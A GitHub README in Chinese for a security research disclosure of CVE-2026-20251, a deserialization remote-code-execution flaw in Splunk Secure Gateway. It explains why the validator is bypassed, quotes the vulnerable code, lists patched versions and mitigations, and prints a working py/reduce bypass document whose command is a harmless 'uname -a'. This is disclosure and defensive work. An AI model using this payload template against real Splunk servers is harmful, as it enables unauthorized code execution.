reactivezero/CVE-2026-20251
GitHub: reactivezero/CVE-2026-20251
针对 Splunk Secure Gateway jsonpickle 反序列化 RCE 漏洞(CVE-2026-20251)的安全研究项目,包含漏洞根因分析、验证器绕过原理说明和概念验证脚本。
Stars: 0 | Forks: 0
# CVE-2026-20251 — Splunk Secure Gateway jsonpickle 反序列化 RCE
**研究员:** Fady Oueslati · ReactiveZero Security Research
**参考编号:** 2026FO-SPLUNK-20251
**CVSS:** 8.8 (`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`)
**状态:** 开放 — 补丁已发布
## 概述
低权限认证用户可以通过在 KV Store(`mobile_alerts` collection)中存储一个精心构造的文档,在 Splunk 主机上实现**远程代码执行**。Splunk Secure Gateway (SSG) 随后会读取该文档并将其直接传递给 `jsonpickle.decode()`,从而重构任意 Python 对象——包括执行 OS 命令的对象。
该调用设置了 `safe=True`,但此标志仅限制了旧版的 `py/repr` eval 路径。`py/reduce`、`py/object`、`py/type`、`py/function` 和 `py/module` 标签不受影响且可被完全利用。
一个单独的验证器(`check_alert_data_valid_json`)旨在阻止危险的标签,但会在识别到第一个键时**短路**:任何第一个顶层键是允许的 `py/object`(值以 `spacebridgeapp` 开头)的文档都会立即返回 `True`,导致同级键——包括恶意的 `py/reduce` gadget——完全未被检查。
## 受影响版本
| 分支 | 修复版本 |
|--------|----------|
| Splunk Secure Gateway 3.9.x | **3.9.20** |
| Splunk Secure Gateway 3.10.x | **3.10.6** |
| Splunk Secure Gateway 3.8.x | **3.8.67** |
| Splunk Enterprise | **10.0.7 / 10.2.4 / 10.4.0+** |
测试实例:运行于 **Splunk Enterprise 10.0.6** (macOS x86\_64) 上的 **SSG 3.9.19**。
## 攻击链
```
Step 0 Low-privilege attacker writes a crafted bypass document to the
'mobile_alerts' KV Store collection via the Splunk REST API.
No admin or power role required.
Step 1 SSG processes an alert fetch request.
alerts_request_processor.py reads the document and passes it to
check_alert_data_valid_json().
→ Validator sees "py/object": "spacebridgeapp..." as the FIRST key,
returns True, and never inspects the "notification" sibling that
carries the py/reduce gadget.
Step 2 The (now validated) document is passed to
jsonpickle.decode(..., safe=True).
jsonpickle loadclass()es the lure Alert object, instantiates it,
then iterates its stored attributes. When it reaches the
"notification" value, _restore_reduce() fires:
stage1 = f(*args) # unpickler.py ~line 526
safe=True has no effect on this code path.
Outcome Arbitrary code execution as the Splunk service account.
Requires only a valid low-privilege Splunk login.
```
### 绕过文档结构
```
{
"py/object": "spacebridgeapp.data.alert_data.Alert",
"notification": {
"py/reduce": [
{"py/function": "subprocess.check_output"},
{"py/tuple": [["uname", "-a"]]}
]
}
}
```
验证器首先检查 `py/object`(被允许),返回 `True`,并且永远不会检查到 `notification`。
## 概念验证
`poc_cve_2026_20251.py` 演示了构成完整漏洞利用链的两个条件:
| 子证明 | 展示内容 |
|-----------|---------------|
| **A — 验证器绕过** | `check_alert_data_valid_json()` 对绕过文档返回 `True`,从未检查同级值中的 `py/reduce` gadget |
| **B — py/reduce 执行** | `jsonpickle.decode(..., safe=True)` 执行了 `subprocess.check_output(['uname', '-a'])`,证明 `safe=True` 并未限制此代码路径 |
该 payload 是故意无害的(只读的 `uname -a`)。这**不是一个武器化的漏洞利用**。
### 前置条件
- Python 3
- 访问 SSG 捆绑的 `jsonpickle`(从 `/Applications/Splunk/etc/apps/splunk_secure_gateway/lib` 加载)
- 一个本地的、经授权的 Splunk 研究实例
### 用法
```
python3 poc_cve_2026_20251.py -h 127.0.0.1
```
## 根本原因
**文件:** `bin/spacebridgeapp/request/alerts_request_processor.py`
```
alert_json = await response.json()
if not check_alert_data_valid_json(alert_json[0]):
raise SpacebridgeApiRequestError("alert_data is not valid", ...)
alert = jsonpickle.decode(json.dumps(alert_json[0]), safe=True) # ← sink
```
**文件:** `bin/spacebridgeapp/rest/devices/alert_helper.py`
```
# Validator 在遇到第一个以 'py' 为前缀的键时发生短路:
for key, value in data.items():
if key.startswith("py"):
if key == "py/id":
return value.isinstance(int)
elif key == "py/object":
return value.startswith("spacebridgeapp") # ← returns immediately
else:
return False
# ... sibling keys are never reached
```
## 修复建议
**主要方案:** 将 Splunk Secure Gateway 升级至已修复版本(3.9.20+、3.10.6+ 或 3.8.67+),并将 Splunk Enterprise 升级至 10.0.7+ / 10.2.4+ / 10.4.0+。
**短期缓解措施**(如果无法立即打补丁):
- 如果 Splunk Secure Gateway 应用未处于活跃使用状态,请将其禁用
- 限制 KV Store 写入权限:强制执行最小权限角色,并审查 `mobile_alerts` 上的 collection 级别 ACL
**防御性工程模式:** 永远不要从受外部影响的存储数据中重构任意类型。在攻击者可达的输入上替换掉 `jsonpickle.decode()`,改用严格的、经过 schema 验证的解析器,或者向 `decode()` 提供显式的 `classes=` 允许列表。确保验证例程完全遍历嵌套结构,而不是在识别到第一个键时短路。
## 关于 CVE-2026-20253 的说明
同一批次的通告中还包含 CVE-2026-20253(CVSS 9.8,通过 PostgreSQL sidecar endpoint 实现的未授权任意文件创建)。在受测试的 macOS x86\_64 版本的 Splunk Enterprise 10.0.6 上**不存在**此漏洞:该平台并未提供 PostgreSQL sidecar 组件,不存在 sidecar 二进制文件或进程,也未观察到相应的端口。
这阐明了一个重要的保障原则:**受影响的版本字符串是漏洞可利用性的必要条件,而非充分条件**。组件级别的验证会实质性地改变真实的风险状况。
## 评估详情
| 字段 | 值 |
|-------|-------|
| 评估参考编号 | 2026FO-SPLUNK-20251 |
| 测试类型 | 白盒漏洞验证(静态代码分析) |
| 日期 | 2026年6月26日 |
| 范围 | 本地 Splunk Enterprise 10.0.6 研究实例 (127.0.0.1:8089) |
| 分类 | 机密 |
*ReactiveZero Security Research*
标签:Go语言工具, Python, RCE, 反序列化, 无后门, 逆向工具